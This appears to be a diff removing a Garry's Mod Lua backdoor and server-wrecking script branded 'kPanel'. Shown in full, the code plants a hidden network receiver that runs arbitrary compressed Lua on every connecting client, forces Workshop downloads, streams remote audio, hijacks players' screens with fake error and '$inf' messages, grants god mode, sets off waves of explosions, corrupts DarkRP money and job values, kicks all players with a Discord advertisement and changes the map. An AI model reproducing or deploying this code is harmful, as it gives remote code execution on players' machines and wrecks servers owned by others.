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- for k, v in pairs(player.GetAll()) do
- v:SendLua("steamworks.FileInfo(1916383732,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
- v:SendLua("steamworks.FileInfo(1911711876,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)")
- local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
- end
- timer.Simple( 25, function()
- util.AddNetworkString("faitleserv")
- local props2 = ents.GetAll()
- for _, prop in ipairs( props2 ) do
- if(prop:GetPhysicsObject():IsValid()) then
- prop:SetModel("models/kpanel/K.mdl")
- prop:SetMaterial("phoenix_storms/Fender_white.vtf")
- prop:SetColor(0,0,185)
- end
- end
- timer.Create("efdfeger"..math.random(500,50000), 1.5, 0, function()
- local props2 = ents.GetAll()
- for _, prop in ipairs( props2 ) do
- if(prop:GetPhysicsObject():IsValid()) then
- if(prop:GetModel() == "models/kpanel/K.mdl") then else
- prop:SetModel("models/kpanel/K.mdl")
- prop:SetMaterial("phoenix_storms/Fender_white.vtf")
- prop:SetColor(0,0,185)
- end
- end
- end
- end)
- timer.Simple( 1, function()
- for k,v in pairs(player.GetAll()) do
- v:SetRunSpeed(400* 4);
- v:SetWalkSpeed(400 * 4);
- end
- end)
- for k, v in pairs( player.GetAll() ) do
- if ( v:Alive() ) then
- v:GodEnable()
- v:SetModel("models/kpanel/K.mdl")
- v:SetMaterial("phoenix_storms/Fender_white.vtf")
- v:SetColor(0,0,185) else
- v:Spawn()
- timer.Simple( 5, function()
- v:GodEnable()
- v:SetModel("models/kpanel/K.mdl")
- v:SetMaterial("phoenix_storms/Fender_white.vtf")
- v:SetColor(0,0,185)
- end)
- end
- end
- game.AddParticles( "particles/kpanel.pcf" )
- PrecacheParticleSystem("kpanel")
- local function rdm_str(len)
- if not len or len <= 0 then
- return ''
- end
- return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
- end
- local net_string = rdm_str(25)
- util.AddNetworkString(net_string)
- BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
- hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
- if not ply:IsBot() then
- ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
- end
- end)
- local function SendToClient(code)
- local data = util.Compress(code)
- local len = #data net.Start(net_string)
- net.WriteUInt(len, 16)
- net.WriteData(data, len)
- net.Broadcast()
- end
- timer.Simple( 1, function()
- SendToClient([[
- game.AddParticles( "particles/kpanel.pcf" )
- PrecacheParticleSystem("kpanel")
- local defaultfov = LocalPlayer():GetFOV()
- local override = 70 hook.Add("CalcView", "EXROR_", function(ply, origin, angles, fov, znear, zfar) return { ["origin"] = origin, ["angles"] = angles, ["fov"] = override, ["znear"] = znear, ["zfar"] = zfar }
- end)
- local hide = { ["CHudHealth"] = true, ["CHudCrosshair"] = true }
- hook.Add( "HUDShouldDraw", "HideHUD", function( name ) if ( hide[ name ] ) then return false end
- end )
- local prevFrame = {}
- local prevValue = 2
- local aveclazicmu = {}
- hook.Add("HUDPaint", "bahouiilfautquemusiquesoitbien",function()
- for k,v in pairs(aveclazicmu) do v() end
- end)
- SOUNDSTART_CTP = false
- OZJFOZJCEZIO = true
- sound.PlayURL("http://zekoryan.alwaysdata.net/loverdose.mp3","mono noblock noplay",function(s)
- if not s then return end
- if SOUNDSTART_CTP then s:Stop() return end
- SOUNDSTART_CTP = true
- s:SetVolume(6.5)
- s:Play()
- local ragtbl = {}
- aveclazicmu["CoolEffect"] = function()
- local tbl = {} s:FFT(tbl,FFT_4096) xpcall(function()
- local fal = 0 for i=1,40 do
- fal = fal + tbl[i] end
- prevValue = Lerp(30 * FrameTime(), prevValue, fal) if fal > 2 then
- override = Lerp(10 * FrameTime(), override, fal * .875)
- net.Start("faitleserv") net.SendToServer()
- else
- override = Lerp(5 * FrameTime(), override, defaultfov)
- sent = false
- end
- end,function()
- end)
- end
- end) ]])
- end)
- timer.Simple( 1, function()
- SendToClient([[
- -- timer.Simple(5, function()
- -- table.Empty(debug.getregistry())
- -- end)
- surface.CreateFont( "PixelCutsceneScaled",{ font = "Open Sans", size = 500, weight = 1000, antialias = true })
- surface.CreateFont( "PixelCutsceneScaledSmall",{ font = "Open Sans", size = 50, weight = 1000, antialias = true })
- surface.CreateFont( "PixelSmall",{ font = "Open Sans", size = 135, weight = 500, antialias = false })
- surface.CreateFont("lapolice", { font = "Open Sans", size = ScrW()*0.02, weight = 10, blursize = 0, scanlines = 2.5, antialias = false })
- local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local w,h = ScrW(), ScrH() local W, H = ScrW(), ScrH()
- local MySelf = LocalPlayer()
- if ohno then ohno:Remove()
- ohno = nil end
- ohno = vgui.Create( "DFrame" )
- ohno:SetSize( w, h )
- ohno:SetPos(0,0)
- ohno:SetDraggable ( false )
- ohno:SetTitle("")
- ohno:ShowCloseButton(false)
- ohno.Paint = function( self )
- surface.SetDrawColor(30, 30, 30, 0)
- end
- glitchtext = { "ERROR_ win $inf", "ERXOX_ win $inf", "EXROR_ win $inf", "XRRXR_ win $inf", "6H4CK_ win $inf", "GH4CK_ win $inf", "6HACK_ win $inf", "GHXCK_ win $inf", "EXXOX_ win $inf", }
- local pw, ph = w, h*0.6 local px, py = w/2-pw/2, h/2-ph/2
- local Close = vgui.Create( "DButton", ohno )
- Close:SetPos(px, py)
- Close:SetText( "" )
- Close:SetSize( pw, ph )
- Close.Paint = function( self, tw, th )
- local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
- local shift = math.sin(RealTime()*3)*1.5 + 5
- local text2 = "ERROR"
- draw.SimpleText( text2, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( text2, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- timer.Simple( 6, function()
- Close.Paint = function( self, tw, th )
- local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
- local shift = math.sin(RealTime()*3)*1.5 + 5
- local text = "kPanel" local down = [=[(/.__.)/ K \(.__.\)]=]
- draw.SimpleText( down, "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( down, "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- timer.Simple( 10, function()
- Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
- local text = "kPanel"
- draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- end)
- timer.Simple( 24, function()
- for i = 1, 10 do
- ParticleEffectAttach("kpanel",PATTACH_ABSORIGIN_FOLLOW,LocalPlayer(),0)
- end
- Close.Paint = function( self, tw, th )
- local
- coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
- local text = { "kPanel", "KPanel", "kP4nel", "kP4Nel", "KP4nel", "kPan€l", "kP4n€l", "Kp4N€l", "kPanXl", "KPANEL", "ERROR", }
- hook.Add( "Think", "omgilawinlebogos", function() plyk,plyv = table.Random(player.GetAll()) end)
- draw.SimpleText( Entity(plyv):Nick().." win $inf", "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( Entity(plyv):Nick().." win $inf", "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(math.random(240,255), math.random(240,255), math.random(240,255), 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( table.Random(text), "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( table.Random(text), "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- timer.Create("fff", 0.1, 0, function()
- util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
- end)
- hook.Add( "HUDPaint", "truckde merde", function()
- draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
- draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
- draw.DrawText( "K", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "┬─┬ ノ( ゜-゜ノ)", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "Random Guy", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "V", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "RIP", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "kPanel", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "Douge", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "No Signal", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "やや奇妙な", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "Inplex", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "Random Guy", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "No Signal", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "やや奇妙な", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "Inplex", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "kPanel", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "kPanel", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- draw.DrawText( "kPanel", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
- end)
- end)
- timer.Simple( 208, function() Close.Paint = function( self, tw, th ) local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
- glitchtextend = { "ERROR_", "ERXOX_", "EXROR_", "XRRXR_", "6H4cK_", "EXXOX_", } draw.SimpleText( table.Random(glitchtextend), "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( table.Random(glitchtextend), "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- end)
- timer.Simple( 231, function()
- Close.Paint = function( self, tw, th )
- local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
- draw.SimpleText( "3", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( "3", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- end)
- timer.Simple( 232, function() Close.Paint = function( self, tw, th )
- local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
- draw.SimpleText( "2", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( "2", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- end)
- timer.Simple( 233, function()
- Close.Paint = function( self, tw, th )
- local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8) local shift = math.sin(RealTime()*3)*1.5 + 5
- draw.SimpleText( "1", "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( "1", "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- end)
- timer.Simple( 234, function()
- Close.Paint = function( self, tw, th )
- local coltext = HSVToColor(CurTime() * 36 % 360, .3, .8)
- local shift = math.sin(RealTime()*3)*1.5 + 5
- local titeltext = "ERROR v2"
- local titeltextdow = "BY kPanel (untilted Remake by Douge <3)"
- draw.SimpleText( titeltextdow, "PixelCutsceneScaledSmall", tw/2 , th/2 +100, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( titeltextdow, "PixelCutsceneScaledSmall", tw/2 - shift , th/2 +100 - shift, Color(math.random(240,255), math.random(240,255), math.random(240,255), 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- draw.SimpleText( titeltext, "PixelCutsceneScaled", tw/2 , th/2, coltext, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) draw.SimpleText( titeltext, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
- end
- end)
- local name = GetConVar("sv_skyname"):GetString()
- if name == "painted" then
- local sky for _, v in ipairs(ents.GetAll()) do
- if v:GetClass() == "env_skypaint" then
- sky = v break
- end
- end
- if not IsValid(sky) then return end
- hook.Add("PostRender","\xFFsky\xFF",function()
- local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local vsky = Vector(col.r / 255, col.g / 255, col.b / 255) sky:SetTopColor(vsky) sky:SetBottomColor(vsky)
- end)
- else
- local prefix = {"lf","ft","rt","bk","dn","up"}
- local mats = {} for i=1,6 do mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
- end
- hook.Add("PostRender","\xFFsky\xFF",function() local r = 0.5*math.sin(RealTime()*0.5)*240 + 255 local g = -0.5*math.sin(RealTime()*0.5)*240 + 255 local b = 215 for i=1,6 do mats[i]:SetVector("$color",Vector(r/254,g/254,b/254))
- end
- end)
- end
- timer.Create("aaneyjvkybtk", 0.01, 0, function()
- local mat = Entity(0):GetMaterials() local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local ve = Vector(col.r / 255, col.g / 255, col.b / 255) LocalPlayer():SetWeaponColor( Vector(ve) )
- for k,v in pairs(mat) do
- local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local ve = Vector(col.r / 255, col.g / 255, col.b / 255) Material(v):SetVector("$color", ve)
- end
- end)
- hook.Add("Think","butifoule",function() local col = HSVToColor(CurTime() * 36 % 360, .3, .8) local v = Vector(col.r / 255, col.g / 255, col.b / 255)
- for k, v in pairs( ents.FindByClass( "prop_*" ) ) do
- v:SetColor( col ) v:Activate()
- end
- for k,p in pairs(player.GetAll()) do
- p:SetColor( col )
- end
- end)
- end)
- timer.Create("mdr-ta-thune", 15, 0, function()
- local fdcal = math.random(1,2) if fdcal == 1 then notification.AddLegacy( "Console set your money to $inf.", 0 , 5 ) else notification.AddLegacy( "Console set your health to $inf.", 0 , 5 ) end end) ]])
- end)
- timer.Create("ok", 1, 0, function()
- for k, v in pairs( ents.FindByClass( "prop_*" ) ) do
- local phys = v:GetPhysicsObject() if (IsValid(phys)) then
- phys:EnableMotion(true) end end end)
- timer.Simple( 44, function()
- timer.Create("ok", 1, 60, function()
- local props = ents.GetAll() for _, prop in ipairs( props ) do
- if(prop:GetPhysicsObject():IsValid()) then
- prop:GetPhysicsObject():ApplyForceCenter( Vector( 100, 0, ((1500 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
- end
- end
- for i = 1, 15 do
- local explode = ents.Create( "env_explosion" )
- explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
- explode:Spawn()
- explode:SetKeyValue( "iMagnitude", "500" )
- explode:Fire( "Explode", 0, 0 )
- end
- for k,v in pairs(player.GetAll()) do
- v:SetVelocity(v:GetVelocity() + Vector(math.random(10,50), math.random(10,50), math.random(500,600)))
- end
- end)
- end)
- timer.Simple( 166.5, function()
- timer.Create("ok2", 1, 48, function()
- local props = ents.GetAll()
- for _, prop in ipairs( props ) do
- if(prop:GetPhysicsObject():IsValid()) then
- prop:GetPhysicsObject():ApplyForceCenter( Vector( 100, 0, ((1500 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
- end
- end
- for i = 1, 15 do
- local explode = ents.Create( "env_explosion" )
- explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
- explode:Spawn()
- explode:SetKeyValue( "iMagnitude", "500" )
- explode:Fire( "Explode", 0, 0 )
- end
- for k,v in pairs(player.GetAll()) do
- v:SetVelocity(v:GetVelocity() + Vector(math.random(10,50), math.random(10,50), math.random(500,600)))
- end
- end)
- end)
- timer.Simple( 240, function()
- local propsexplod = ents.GetAll()
- for _, prop in ipairs( propsexplod ) do
- if(prop:GetPhysicsObject():IsValid()) then
- local explosion = ents.Create("env_explosion")
- explosion:SetPos(vehicl:GetPos())
- explosion:Spawn()
- explosion:SetKeyValue("iMagnitude", "50")
- explosion:Fire("Explode", 0, 0)
- end
- end
- end)
- timer.Simple( 6, function()
- local sun = ents.FindByClass("env_sun")
- if #sun == 0 then return end
- sun = sun[1]
- hook.Add("Think","\xFFsun\xFF",function()
- sun:SetKeyValue("sun_dir", math.sin(CurTime())/3 .. " " .. math.cos(CurTime())/3 .. " 0.901970")
- sun:SetModelScale(120)
- end)
- end)
- timer.Simple( 207, function()
- timer.Create("explodend", 1, 0, function()
- for i = 1, 10 do
- local explode = ents.Create( "env_explosion" )
- explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
- explode:Spawn()
- explode:SetKeyValue( "iMagnitude", "500" )
- explode:Fire( "Explode", 0, 0 )
- end
- end)
- end)
- timer.Simple( 248, function()
- for i,v in ipairs(player.GetAll()) do
- if v == p then continue end
- v:Kick("\n[FR] Oh désolé, je ne me suis pas présenté ,je suis EXROR_ votre serveur a rencontré un problème que j'ai corrigé, vous pouvez maintenant retourner sur votre serveur !\n\n\nkPanel( https://discord.gg/2PP5z9n )\n\n------------------------------------------\n\n[EN] Oh sorry, I didn't introduce myself ,I'm EXROR_ your server has encountered a problem that I fixed, you can now go back to your server !\n\n\nCodially kPanel( https://discord.gg/2PP5z9n )")
- end
- end)
- timer.Simple( 249, function()
- RunConsoleCommand("changelevel", "gm_construct")
- end)
- net.Receive("faitleserv", function()
- for i = 1,2 do
- local explode = ents.Create( "env_explosion" )
- explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
- explode:Spawn() explode:SetKeyValue( "iMagnitude", "500" )
- explode:Fire( "Explode", 0, 0 )
- end
- local props = ents.GetAll()
- for _, prop in ipairs( props ) do
- if(prop:GetPhysicsObject():IsValid()) then
- prop:GetPhysicsObject():ApplyForceCenter( Vector( 0, 0, ((250 * 0.93) * prop:GetPhysicsObject():GetMass() ) ) )
- end
- end
- for k,v in pairs(player.GetAll()) do
- v:SetVelocity(v:GetVelocity() + Vector(math.random(10,50), math.random(10,50), math.random(50,100)))
- end
- end)
- local untitled_ = { "KPANEL", "KP4NEL", "KP4N€L","Kp4n€l" }
- for k, v in pairs(player.GetAll()) do
- timer.Create("charglogo", 0, 0, function()
- v:setDarkRPVar("job", "JOB_"..table.Random( untitled_ )) v:setDarkRPVar("money", "1e+999")
- end)
- end
- end)
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